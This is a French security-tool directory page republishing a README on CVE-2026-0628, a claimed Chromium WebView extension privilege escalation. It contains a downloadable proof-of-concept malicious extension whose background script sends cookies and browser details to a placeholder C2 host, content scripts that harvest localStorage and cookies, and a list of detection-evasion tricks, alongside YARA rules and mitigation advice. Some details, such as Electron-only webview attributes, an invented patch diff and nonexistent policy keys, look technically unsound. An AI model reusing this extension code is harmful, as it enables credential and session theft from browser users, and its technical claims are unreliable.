Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — Dissection technique de CVE-2026-0628, une vulnérabilité d'élévation de privilèges dans Chromium WebView, incluant l'analyse de la cause racine, l'exploit PoC, les règles de détection et les stratégies d'atténuation. | Kitploit
Outils/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité WebAnalyse de MalwareCriminalistique Numérique
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Dissection technique de CVE-2026-0628, une vulnérabilité d'élévation de privilèges dans Chromium WebView, incluant l'analyse de la cause racine, l'exploit PoC, les règles de détection et les stratégies d'atténuation.

Voir le dépôtSite web
1il y a 6 moisPas encore vérifié

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X

root@kitploit:~

README.md


# **CVE-2026-0628 : Élévation de privilèges dans Chromium WebView (Spoofing d'origine) – Recherche technique et preuve de concept**

**Auteur :** Sastra Adi Wiguna (Purple Elite Teaming)
**Date de recherche :** Janvier 2026
**ID CVE :** CVE-2026-0628
**CVSS v3.1 :** 8.8 (Élevée)
**Versions affectées :** Chromium < 143.0.7499.192
**État du correctif :** Corrigé dans Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139

---

## **1. Vue d'ensemble**

### **1.1 Objectif de la recherche**
Ce dépôt documente **CVE-2026-0628**, une **vulnérabilité d'élévation de privilèges de gravité élevée** dans le mécanisme d'application des politiques WebView de Chromium. La vulnérabilité permet à des extensions malveillantes de **contourner les restrictions du sandbox**, d'injecter des scripts dans des **contextes privilégiés** (par exemple, `chrome://`), et d'**élever les privilèges** pour exécuter du code arbitraire.

Cette recherche est **exclusivement destinée à des fins de sécurité défensive**, notamment :
- **Analyse de vulnérabilité**
- **Ingénierie de détection**
- **Développement de stratégies d'atténuation**
- **Tests d'intrusion (environnements autorisés uniquement)**

### **1.2 Avertissement**
- **Strictement réservé à la recherche académique et défensive.**
- **Ne pas utiliser contre des systèmes de production sans autorisation.**
- **Se conformer à toutes les lois applicables et aux politiques de sécurité organisationnelles.**
- **Corriger immédiatement :** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.

---

## **2. Analyse technique**

### **2.1 Cause racine**
**Application insuffisante des politiques** dans l'implémentation WebView de Chromium permet aux extensions de **s'échapper des limites du sandbox** et d'accéder à des **contextes DOM privilégiés**.

**Flux vulnérable :**
1. L'extension malveillante déclare l'utilisation de WebView dans `manifest.json`.
2. L'extension injecte une charge utile HTML/JS élaborée via la balise `<webview>`.
3. **Contournement de la validation des politiques WebView** → Accès aux pages privilégiées (par exemple, `chrome://settings`).
4. **Exécution de scripts arbitraires** dans des contextes privilégiés.

**Vecteur CVSS :**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 Architecture de l'exploit**
#### **Modèle d'extension malveillante**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

Vecteur d'injection critique (payload.js)

root@kitploit:~
class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // Paramètre de contournement clé
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. Évaluation de l'impact


4. Détection et forensique

4.1 Règle YARA pour les extensions malveillantes

root@kitploit:~
rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Détecte les modèles d'exploitation WebView CVE-2026-0628"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Signatures d'événements Sysmon

  • ID d'événement 1 : chrome.exe → Création WebView suspecte.
  • ID d'événement 3 : Connexion réseau → Extension → C2 externe.
  • Registre : HKCU\Software\Google\Chrome\Extensions\[malicious_id].

5. Analyse du correctif et vecteurs de contournement

5.1 Diff de version corrigée (Chrome 143.0.7499.192+)

root@kitploit:~
// Vulnérable (pré-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // Vérification de politique faible
}

// Corrigé
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension non privilégiée');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Durcissement de la politique de sécurité du contenu
  }
}

5.2 Implémentation de l'atténuation

Modèle GPO d'entreprise

root@kitploit:~
{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

Script de détection à l'exécution (PowerShell)

root@kitploit:~
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. Preuve de concept (PoC) de l'exploit

6.1 Structure du répertoire

root@kitploit:~
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 Fichiers principaux

manifest.json (Manifeste de contournement)

root@kitploit:~
{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (Persistance et balise C2)

root@kitploit:~
chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installé');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (Déclencheur WebView et injection)

root@kitploit:~
(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

7. Reproduction en laboratoire

7.1 Prérequis

  • Chrome vulnérable : 143.0.7499.191
  • Système d'exploitation : Windows 10/11 (VM recommandée)
  • Outils : Burp Suite (proxy), REMnux (forensique)

7.2 Étapes

  1. Télécharger Chrome 143.0.7499.191 (vulnérable).
  2. Lancer avec les indicateurs :
    root@kitploit:~
    chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
    
  3. Charger l'extension :
    • Naviguer vers chrome://extensions/.
    • Activer le mode développeur.
    • Cliquer sur Charger l'extension non empaquetée → Sélectionner cve-2026-0628-poc/.
  4. Déclencher l'exploit :
    • Naviguer vers chrome://new-tab-page/.
    • Observer la création WebView dans DevTools.
  5. Surveiller le trafic :
    • Burp Suite (localhost:8080) → Capturer l'exfiltration vers le C2.
  6. Vérifier le succès :
    • Onglet Réseau → Balise vers your-c2-server.com.
    • Console : "CVE-2026-0628 OWNED".

8. Techniques d'évasion de détection

  • Stéganographie : Encoder l'exfiltration dans les pixels d'images.
  • Génération de domaines : DGA pour la rotation du C2.
  • Attaques temporelles : Retarder l'exécution de 5 à 30 s après l'installation.
  • Obfuscation du manifeste : Encoder en Base64 les chaînes sensibles.

9. Atténuation et flux de travail de correction

  • Action immédiate : Mettre à jour Chrome/Edge vers les versions corrigées.
  • GPO d'entreprise :
    root@kitploit:~
    {
      "ExtensionInstallBlacklist": ["*"],
      "WebViewRestrictions": {
        "DisableWebView": true,
        "BlockNodeIntegration": true
      }
    }
    
  • Détection à l'exécution :
    root@kitploit:~
    # Rechercher les extensions malveillantes
    Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
      Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
    

10. Analyse forensique

10.1 Commandes Volatility3

root@kitploit:~
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/

10.2 Règle YARA pour les dumps mémoire

root@kitploit:~
rule CVE_2026_0628_Mojo_Origin_Spoof {
  strings:
    $mojo_hdr = { 4D 6F 6A 6F }
    $chrome_origin = "chrome://new-tab-page/"
    $webview_sig = "WebViewPolicyValidator"
  condition:
    all of them
}

11. Conclusion

11.1 Constatations clés

  • CVE-2026-0628 permet l'élévation de privilèges via le contournement des politiques WebView.
  • Impact : Détournement de session, vol d'identifiants, mouvement latéral.
  • Atténuation : Corriger Chrome/Edge, appliquer les restrictions GPO, surveiller les extensions malveillantes.

11.2 Recommandations

  • Corriger immédiatement vers Chrome ≥143.0.7499.192 ou Edge ≥143.0.3650.139.
  • Déployer les règles YARA/Sysmon pour la détection.
  • Restreindre les extensions via le GPO d'entreprise.
  • Mener des exercices d'équipe rouge pour valider les défenses.

12. Considérations légales et éthiques

  • Utilisation autorisée uniquement.
  • Ne pas déployer en production sans autorisation explicite.
  • Signaler les vulnérabilités de manière responsable aux fournisseurs.

Contact : Pour toute question relative à la sécurité défensive, contacter l'auteur via GitHub Issues.


© 2026 Sastra Adi Wiguna. Tous droits réservés.

root@kitploit:~
Télécharger l’outil
Phase d'attaqueImpact techniqueImpact commercialMétriques CVSS
Installation de l'extensionConsentement de l'utilisateur → PersistanceVecteur d'ingénierie socialeUI:R (Requis)
Contournement WebViewÉvasion du sandbox → Contexte privilégiéDétournement de sessionS:U → C:H/I:H/A:H
Injection de scriptManipulation du DOM → Exfiltration de donnéesVol d'identifiantsPR:N (Aucun privilège)
PersistanceScript d'arrière-plan → Balise C2Préparation au mouvement latéralAC:L (Faible complexité)